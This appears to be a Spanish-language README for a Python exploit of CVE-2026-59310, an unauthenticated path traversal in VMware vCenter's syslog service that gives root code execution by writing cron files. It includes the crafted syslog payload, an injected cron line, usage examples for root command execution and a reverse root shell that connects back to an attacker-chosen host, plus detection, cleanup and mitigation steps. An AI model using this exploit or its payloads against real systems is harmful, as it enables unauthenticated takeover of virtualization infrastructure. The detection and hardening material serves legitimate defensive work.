
PoC y exploit en Python para CVE-2026-59310, un path traversal en el syslog de VMware vCenter que conduce a RCE como root sin autenticación mediante inyección en cron, con guía de detección y limpieza.
Descargo de responsabilidad: Este proyecto está destinado únicamente a pruebas de seguridad autorizadas, validación de vulnerabilidades e investigación defensiva. Úselo en entornos con autorización escrita explícita. El usuario asume toda la responsabilidad por las consecuencias derivadas del mal uso.
| Elemento | Contenido |
|---|---|
| Nombre de la vulnerabilidad | Vulnerabilidad de directory traversal en VMware vCenter Syslog |
| Identificador | CVE-2026-59310 |
| Tipo de vulnerabilidad | Directory Traversal (Path Traversal) → Escritura arbitraria de archivos → Ejecución remota de código |
| CVSS 3.1 | 9.8 (Critical) |
| Requisito previo | Solo se requiere alcanzar el puerto syslog (por defecto UDP/TCP 514), sin credenciales |
| Consecuencia | Escritura en rutas arbitrarias y ejecución de código arbitrario con privilegios root |
| Fecha de divulgación | 2026-07-29 |
| Explotación en la naturaleza | Detectada |
| Aviso del fabricante | VMSA-2026-0006 |
El servicio receptor de syslog integrado en vCenter (rsyslog) utiliza plantillas de ruta dinámica para almacenar los registros; la plantilla concatena directamente los campos APP-NAME y HOSTNAME del encabezado del mensaje en la ruta del archivo, sin realizar saneamiento de rutas. Un atacante puede enviar un mensaje especialmente diseñado al puerto syslog accesible para que la ruta de escritura escape del directorio de registros previsto y, combinándolo con tareas programadas, lograr la ejecución de código arbitrario.
vCenter es el núcleo de gestión de la virtualización; una vez comprometido, equivale a la caída de todo el entorno vSphere / VCF.
Versiones afectadas (inferiores a las siguientes versiones corregidas)
También afecta: vCenter implementado de forma independiente, así como los componentes vCenter afectados utilizados en VMware Cloud Foundation, VMware vSphere Foundation y VMware Telco Cloud.
Entorno verificado: VMware vCenter Server 9.0.2.0 / Build 25148086, anterior a la versión corregida 25629525, confirmándose como no corregido.
/etc/rsyslog.conf (configuración predeterminada de fábrica de VMware):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% se utiliza simultáneamente como nombre de directorio y nombre de archivo, y no hay saneamiento de rutas.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
Solo requiere coincidencia de prefijo; un atacante puede usar rsyslog/... para activar esta regla y entrar en la plantilla de ruta dinámica.
24: $EscapeControlCharactersOnReceive off
Los saltos de línea en el contenido del mensaje se escriben tal cual en disco, lo que permite al atacante controlar la estructura de líneas del archivo escrito.
Este es el punto más propenso a pasar por alto en esta vulnerabilidad.
/ no está permitido por defecto, lo que provoca que APP-NAME se trunque en / → no permite traversal.APP-NAME es un campo independiente separado por espacios, no aplica validación de lista blanca de caracteres; / y .. se conservan tal cual → permite traversal.El lado servidor input(type="imudp" port="514") utiliza el conjunto de reglas predeterminado y acepta mensajes RFC5424. El atacante solo necesita escribir el mensaje en formato RFC5424 para que los caracteres de traversal lleguen directamente a la ruta del archivo.
Comparación práctica (mismo payload rsyslog/../../../../tmp/x):
| Analizador | Valor real de %app-name% |
|---|---|
| pmrfc3164 | rsyslog ← truncado en / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← conservado íntegro |
Evidencia indirecta: un
..puro se crea como nombre de directorio literal (por ejemplorsyslog..), lo que indica que la capa omfile de rsyslog no realiza normalización de..; lo que realmente determina el éxito es si el analizador puede introducir/en el campo.
① Paquete UDP sin autenticación → ② APP-NAME de RFC5424 con traversal → ③ Escape del directorio de logs con escritura arbitraria (root)
↓
⑤ Ejecución de código como root ← ④ Implantación de tarea programada en /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
Sustituyendo en la plantilla:
Directorio = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
Archivo = igual que arriba + "-syslog.log" → /tmp/PWNED-syslog.log
Resultado: se escribe /tmp/PWNED-syslog.log con propietario root, los directorios padre faltantes se crean automáticamente y el contenido es totalmente controlable.
El nombre del archivo escrito termina fijamente en -syslog.log, por lo que no se puede sobrescribir directamente /etc/cron.d/xxx.
Sin embargo, gracias a la penetración de saltos de línea, se puede inyectar un salto de línea en el MSG para hacer que el contenido controlable comience desde la columna 0 del archivo:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron reporta "bad minute", se ignora
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← se ejecuta como línea cron válida
#
crond lo programa y ejecuta como root, obteniendo:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ (lighttpd escucha en 5480),
y luego leerlo a través de https://<target>:5480/..., en consonancia con la descripción del aviso del fabricante./var/spool/cron/root: se puede escribir en ese directorio, pero se requiere que el archivo se llame exactamente root,
lo cual está limitado por el sufijo -syslog.log, por lo que /etc/cron.d/ es más directo.Escritura arbitraria de archivos (sin autenticación)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] Versión del espacio de nombres de la API: 9.0.0.0 (no es el build del appliance, solo referencia de huella)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] Enviado. Se espera generar un archivo con propietario root en el objetivo
# En el objetivo:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
Ejecución de comandos (root)
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] Implantado : /etc/cron.d/cve59310<name>-syslog.log
[i] Lectura del resultado : cat /tmp/cve59310_<name>.txt
# Aproximadamente 60s después:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost
Shell inversa interactiva (root)
$ python3 exploit_cve_2026_59310.py <target> --lhost <tu IP> --lport 4444
[+] Escuchando en 0.0.0.0:4444
[+] Implantado : /etc/cron.d/cve59310<name>-syslog.log
[+] Conexión inversa exitosa, desde <target>:56184 —— shell root establecida
root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root
Sustituya la IP objetivo, la dirección de conexión inversa, etc., por su propio entorno de pruebas autorizado.
exploit_cve_2026_59310.py# 1) Shell inversa root interactiva (la más utilizada)
python3 exploit_cve_2026_59310.py <target> --lhost <tu IP> --lport 4444
# 2) Ejecutar un solo comando, salida escrita en /tmp/<name>.txt del objetivo
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
# 3) Verificación no destructiva: solo demuestra la escritura arbitraria de archivos sin autenticación
python3 exploit_cve_2026_59310.py <target> --check
# 4) Ver comandos de limpieza
python3 exploit_cve_2026_59310.py <target> --cleanup
Parámetros habituales:
poc_vcenter_rce.pypython3 poc_vcenter_rce.py <target> --check # Verificar escritura arbitraria
python3 poc_vcenter_rce.py <target> --rce "id" --name t # Ejecución de comandos
python3 poc_vcenter_rce.py <target> --cleanup # Aviso de limpieza
poc_syslog_traversal.pyPermite controlar de forma independiente HOSTNAME / APP-NAME, para construir mensajes manualmente:
python3 poc_syslog_traversal.py <target> \
--tag 'rsyslog/../../../../tmp/test' --msg 'hello'
Esta vulnerabilidad solo proporciona una primitiva de escritura; el script no puede eliminar archivos remotos por sí mismo. La limpieza debe ejecutarse en el objetivo:
rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*
# Ver la versión en el Shell de vCenter (la rama 9.0 con Build < 25629525 no está corregida)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version
# Ver si existe la plantilla de ruta dinámica vulnerable
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
# Ver si está habilitada la penetración de saltos de línea
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf
# 1) Archivos anómalos en /etc/cron.d (atención: entradas con sufijo -syslog.log)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null
# 2) Archivos sospechosos *-syslog.log fuera del directorio de logs (escaneo completo, el más eficaz)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null
# 3) Directorios anómalos generados por traversal (atención a directorios con .. o % en la ruta)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'
# 4) Contenido escrito en el directorio estático de VAMI
ls -la /opt/vmware/share/htdocs/
# 5) Anomalías de hostname en los logs de reenvío de syslog (APP-NAME con / o ..)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head
Consejo: el escaneo completo del punto 2 es el método de detección más fiable. Si la plantilla genera traversal hacia una ruta inexistente, rsyslog creará automáticamente los directorios padre, por lo que directorios malformados como
/..etc/o/rsyslog../también son rastros claros de intrusión.
Actualice según la tabla de Versiones afectadas. La rama 9.0 requiere como mínimo 9.0.2.0100 (Build 25629525).
Cerrar la superficie de ataque de RFC5424 (lo más directo): vincular explícitamente el analizador pmrfc3164 a las entradas 514/1514.
parser(name="p3164" type="pmrfc3164")
input(type="imudp" port="514" ruleset="all" parser="p3164")
Saneamiento explícito de rutas: configurar securepath="normal" y secpath-drop="replace" para omfile.
El aviso de seguridad de rsyslog upstream (GHSA-xmp9-244p-5ggv) indica claramente que securepath es el límite de ruta fiable.
Bloquear la penetración de saltos de línea: establecer $EscapeControlCharactersOnReceive on.
Restringir el selector: cambiar :app-name, startswith, "rsyslog" por coincidencia exacta;
cambiar la regla de determinación del nombre de host por una lista blanca basada en IP de origen / segmento de red, para evitar que cualquier emisor externo entre en la plantilla de ruta dinámica.
Aislamiento de red: abrir 514/1514 solo a los ESXi gestionados y a los reenviadores de logs de confianza; prohibir el acceso desde redes no de gestión.
⚠️ Nota: actualmente lo que bloquea la ruta
%hostname%es solo una capa de defensa accidental basada en el comportamiento predeterminado del analizador RFC3164, no un límite de seguridad fiable. En cuanto se habilitepermit.slashesinhostnamepor compatibilidad, la misma regla se volverá explotable de inmediato.
P: ¿Por qué la versión que reporta la herramienta es 9.0.0.0 y no coincide con el build real?
/sdk/vimServiceVersions.xml devuelve la versión del espacio de nombres de la API, no el número de build del appliance,
por lo que no se puede usar para determinar si está corregido. En el Shell de vCenter, verifique el build real con cat /etc/vmware-release.
P: ¿No se lee el resultado después de la ejecución del comando?
crond se programa cada minuto, por lo que normalmente hay que esperar unos 60s. Además, esta vulnerabilidad solo tiene una primitiva de escritura,
el script no puede leer el archivo de vuelta por sí mismo; hay que ejecutar cat /tmp/cve59310_<name>.txt en el objetivo.
También se puede usar --read-cmd para pasar un comando de lectura externo (por ejemplo ssh root@target cat {path}).
P: ¿La shell inversa no conecta de vuelta?
Causas habituales: el objetivo no puede acceder a la máquina atacante (firewall / NAT / aislamiento de red); crond aún no se ha activado
(se puede aumentar --timeout); el puerto de escucha no está permitido. Se puede usar --method python para cambiar a la implementación alternativa.
P: ¿Por qué -c "a; b" solo devuelve parte de la salida?
Ya corregido. El script usa la redirección agrupada { cmd; } > file 2>&1,
lo que garantiza que la salida de toda la secuencia de comandos se capture (a; b > file solo redirige el último).
| Rama | Rango afectado | Versión corregida |
|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 versión inicial / U1 | Todas | Actualizar a 8.0 U3k o superior según la ruta soportada |
| 7.0 | Sin el parche de soporte extendido correspondiente | Contactar a Broadcom para obtener el parche, o migrar a una versión soportada |
| Elemento | Valor |
|---|
| Objetivo | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Versión corregida | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 (paquete personalizado de VMware) |
| Puertos syslog | UDP/TCP 514, TCP 1514 (TLS) |
| Requisito de autenticación | Ninguno |
| Parámetro | Descripción |
|---|
--port | Puerto syslog, por defecto 514 |
--tcp | Usar TCP en lugar de UDP |
--lhost / --lport | Dirección / puerto de conexión inversa del shell |
--method {bash,python} | Método de conexión inversa, por defecto bash (/dev/tcp) |
--name | Identificador único de la ejecución, aleatorio por defecto |
--timeout | Segundos de espera para ejecución/conexión inversa, por defecto 180 |
-q | No imprimir el banner |